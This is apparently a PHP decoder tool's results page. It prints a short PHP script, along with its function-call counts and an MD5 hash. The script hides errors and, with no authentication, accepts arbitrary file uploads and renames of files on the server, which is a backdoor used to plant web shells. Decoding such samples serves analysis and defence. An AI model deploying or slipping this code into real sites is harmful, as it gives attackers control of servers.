Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), tri..

Decoded Output download

<?php 
error_reporting(0);
if (isset($_POST['fname'])){
	rename(trim($_POST['fname']), trim($_POST['sname']));
	exit;
}
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); 
?>

Did this file decode correctly?

Original Code

<?php 
error_reporting(0);
if (isset($_POST['fname'])){
	rename(trim($_POST['fname']), trim($_POST['sname']));
	exit;
}
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); 
?>

Function Calls

trim 2
rename 1
error_reporting 1

Variables

None

Stats

MD5 bc414ca548d31a033a3194f84d1eae96
Eval Count 0
Decode Time 120 ms